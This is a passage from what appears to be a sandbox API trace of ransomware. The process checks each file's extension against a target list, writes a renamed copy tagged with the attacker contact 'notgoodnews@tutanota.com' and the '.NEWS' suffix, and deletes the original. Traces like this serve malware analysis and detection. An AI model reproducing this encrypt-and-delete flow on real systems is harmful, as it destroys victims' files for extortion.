(lpString=".dbf") returned 4 [0090.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.634] lstrlenW (lpString=".1cd") returned 4 [0090.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0090.634] lstrlenW (lpString=".jpg") returned 4 [0090.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.634] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.634] lstrlenW (lpString="J0098497.WMF") returned 12 [0090.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.635] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4970) returned 1 [0090.635] CloseHandle (hObject=0x378) returned 1 [0090.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0090.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.635] GetLastError () returned 0x0 [0090.636] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x136a, lpOverlapped=0x0) returned 1 [0090.637] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1370, lpOverlapped=0x0) returned 1 [0090.638] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.638] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.638] SetEndOfFile (hFile=0x330) returned 1 [0090.638] CloseHandle (hObject=0x330) returned 1 [0090.638] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.638] SetEndOfFile (hFile=0x378) returned 1 [0090.639] CloseHandle (hObject=0x378) returned 1 [0090.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.640] lstrlenW (lpString=".doc") returned 4 [0090.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".docx") returned 5 [0090.640] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.640] lstrlenW (lpString=".pdf") returned 4 [0090.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".xls") returned 4 [0090.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.640] lstrlenW (lpString=".xlsx") returned 5 [0090.640] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.640] lstrlenW (lpString=".ppt") returned 4 [0090.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.640] lstrlenW (lpString=".zip") returned 4 [0090.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.640] lstrlenW (lpString=".rar") returned 4 [0090.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".bz2") returned 4 [0090.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString=".7z") returned 3 [0090.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.640] lstrlenW (lpString=".dbf") returned 4 [0090.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.640] lstrlenW (lpString=".1cd") returned 4 [0090.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.640] lstrlenW (lpString=".jpg") returned 4 [0090.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.641] lstrlenW (lpString=".doc") returned 4 [0090.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".docx") returned 5 [0090.641] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.641] lstrlenW (lpString=".pdf") returned 4 [0090.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".xls") returned 4 [0090.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.641] lstrlenW (lpString=".xlsx") returned 5 [0090.641] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.641] lstrlenW (lpString=".ppt") returned 4 [0090.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.641] lstrlenW (lpString=".zip") returned 4 [0090.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.641] lstrlenW (lpString=".rar") returned 4 [0090.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".bz2") returned 4 [0090.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString=".7z") returned 3 [0090.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.641] lstrlenW (lpString=".dbf") returned 4 [0090.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.641] lstrlenW (lpString=".1cd") returned 4 [0090.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0090.641] lstrlenW (lpString=".jpg") returned 4 [0090.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.642] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.642] lstrlenW (lpString="J0099145.JPG") returned 12 [0090.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.642] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=24759) returned 1 [0090.642] CloseHandle (hObject=0x378) returned 1 [0090.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0090.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.643] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.643] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.643] GetLastError () returned 0x0 [0090.643] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0090.645] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0090.646] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.646] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.646] SetEndOfFile (hFile=0x330) returned 1 [0090.646] CloseHandle (hObject=0x330) returned 1 [0090.647] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.647] SetEndOfFile (hFile=0x378) returned 1 [0090.647] CloseHandle (hObject=0x378) returned 1 [0090.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0090.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.648] lstrlenW (lpString=".doc") returned 4 [0090.648] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.648] lstrlenW (lpString=".docx") returned 5 [0090.648] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0090.648] lstrlenW (lpString=".pdf") returned 4 [0090.648] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.648] lstrlenW (lpString=".xls") returned 4 [0090.648] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.648] lstrlenW (lpString=".xlsx") returned 5 [0090.648] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0090.648] lstrlenW (lpString=".ppt") returned 4 [0090.648] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.648] lstrlenW (lpString=".zip") returned 4 [0090.648] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.648] lstrlenW (lpString=".rar") returned 4 [0090.648] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.648] lstrlenW (lpString=".bz2") returned 4 [0090.648] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.648] lstrlenW (lpString=".7z") returned 3 [0090.648] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString=".dbf") returned 4 [0090.649] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString=".1cd") returned 4 [0090.649] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString=".jpg") returned 4 [0090.649] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString=".doc") returned 4 [0090.649] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.649] lstrlenW (lpString=".docx") returned 5 [0090.649] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0090.649] lstrlenW (lpString=".pdf") returned 4 [0090.649] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.649] lstrlenW (lpString=".xls") returned 4 [0090.649] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.649] lstrlenW (lpString=".xlsx") returned 5 [0090.649] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0090.649] lstrlenW (lpString=".ppt") returned 4 [0090.649] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString=".zip") returned 4 [0090.649] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.649] lstrlenW (lpString=".rar") returned 4 [0090.649] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.649] lstrlenW (lpString=".bz2") returned 4 [0090.649] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.649] lstrlenW (lpString=".7z") returned 3 [0090.649] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.649] lstrlenW (lpString=".dbf") returned 4 [0090.649] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.650] lstrlenW (lpString=".1cd") returned 4 [0090.650] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0090.650] lstrlenW (lpString=".jpg") returned 4 [0090.650] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.650] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.650] lstrlenW (lpString="J0099146.WMF") returned 12 [0090.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.650] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=16596) returned 1 [0090.650] CloseHandle (hObject=0x378) returned 1 [0090.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0090.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.650] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.651] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.651] GetLastError () returned 0x0 [0090.651] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x40d4, lpOverlapped=0x0) returned 1 [0090.653] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x40e0, lpOverlapped=0x0) returned 1 [0090.654] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.654] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.654] SetEndOfFile (hFile=0x330) returned 1 [0090.654] CloseHandle (hObject=0x330) returned 1 [0090.654] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.654] SetEndOfFile (hFile=0x378) returned 1 [0090.655] CloseHandle (hObject=0x378) returned 1 [0090.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0090.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.656] lstrlenW (lpString=".doc") returned 4 [0090.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.656] lstrlenW (lpString=".docx") returned 5 [0090.656] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0090.656] lstrlenW (lpString=".pdf") returned 4 [0090.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.656] lstrlenW (lpString=".xls") returned 4 [0090.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.656] lstrlenW (lpString=".xlsx") returned 5 [0090.656] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0090.656] lstrlenW (lpString=".ppt") returned 4 [0090.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.656] lstrlenW (lpString=".zip") returned 4 [0090.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.656] lstrlenW (lpString=".rar") returned 4 [0090.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.656] lstrlenW (lpString=".bz2") returned 4 [0090.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.656] lstrlenW (lpString=".7z") returned 3 [0090.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.656] lstrlenW (lpString=".dbf") returned 4 [0090.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.656] lstrlenW (lpString=".1cd") returned 4 [0090.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString=".jpg") returned 4 [0090.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString=".doc") returned 4 [0090.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString=".docx") returned 5 [0090.657] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0090.657] lstrlenW (lpString=".pdf") returned 4 [0090.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString=".xls") returned 4 [0090.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.657] lstrlenW (lpString=".xlsx") returned 5 [0090.657] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0090.657] lstrlenW (lpString=".ppt") returned 4 [0090.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString=".zip") returned 4 [0090.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.657] lstrlenW (lpString=".rar") returned 4 [0090.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString=".bz2") returned 4 [0090.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString=".7z") returned 3 [0090.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString=".dbf") returned 4 [0090.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString=".1cd") returned 4 [0090.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0090.657] lstrlenW (lpString=".jpg") returned 4 [0090.657] lstrcmpiW (lpString1=".jpg", 